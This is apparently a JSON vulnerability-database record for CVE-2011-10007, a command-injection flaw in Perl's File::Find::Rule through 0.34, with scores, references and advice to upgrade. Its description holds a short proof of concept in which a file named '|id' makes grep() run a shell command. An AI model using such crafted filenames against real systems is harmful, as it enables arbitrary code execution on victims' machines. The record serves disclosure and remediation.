{"id":"CVE-2011-10007","published":"2025-06-05T11:57:58Z","modified":"2025-06-11T12:27:11Z","title":"File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted…","vendor":"RCLAMP","product":"File::Find::Rule","tier":"tail","description":{"text":"File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo > \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n    -E 'File::Find::Rule->grep(\"foo\")->in(\"/tmp/poc\")'\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)","provenance":"source","from":"CVE.org"},"cvss":{"score":8.8,"severity":"HIGH","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","provenance":"source","from":"CISA ADP Vulnrichment"},"epss":{"score":0.00859,"percentile":0.59357,"provenance":"source"},"cwes":[{"id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command"}],"references":[{"url":"https://metacpan.org/release/RCLAMP/File-Find-Rule-0.34/source/lib/File/Find/Rule.pm#L423","tags":[]},{"url":"https://rt.cpan.org/Public/Bug/Display.html?id=64504","tags":["issue-tracking","exploit"]},{"url":"https://github.com/richardc/perl-file-find-rule/pull/4","tags":["issue-tracking"]},{"url":"https://github.com/richardc/perl-file-find-rule/commit/df58128bcee4c1da78c34d7f3fe1357e575ad56f.patch","tags":["patch"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/06/msg00006.html","tags":[]},{"url":"http://www.openwall.com/lists/oss-security/2025/06/05/4","tags":[]},{"url":"http://www.openwall.com/lists/oss-security/2025/06/06/1","tags":[]},{"url":"http://www.openwall.com/lists/oss-security/2025/06/06/3","tags":[]}],"priority":{"score":23.0,"factors":[{"name":"EPSS percentile","points":11.87},{"name":"Public exploit code","points":5.0},{"name":"CVSS severity","points":6.16}]},"vendorSlug":"rclamp","affectedVersions":[{"vendor":"RCLAMP","product":"File::Find::Rule","versions":["<= 0.34"]}],"solutions":{"items":["Users should update to a fixed version such as 0.35 or later, or apply the patch provided in the references section, or use a patched version provided by their OS distribution"],"from":"CVE.org CNA","provenance":"source"},"ssvc":{"exploitation":"poc","automatable":"no","technicalImpact":"total","timestamp":"2025-06-05T13:22:25.420367Z","from":"CISA ADP","provenance":"source"},"euvd":{"id":"EUVD-2011-5236","exploited":false,"provenance":"source"},"exploitRefs":["https://rt.cpan.org/Public/Bug/Display.html?id=64504"]}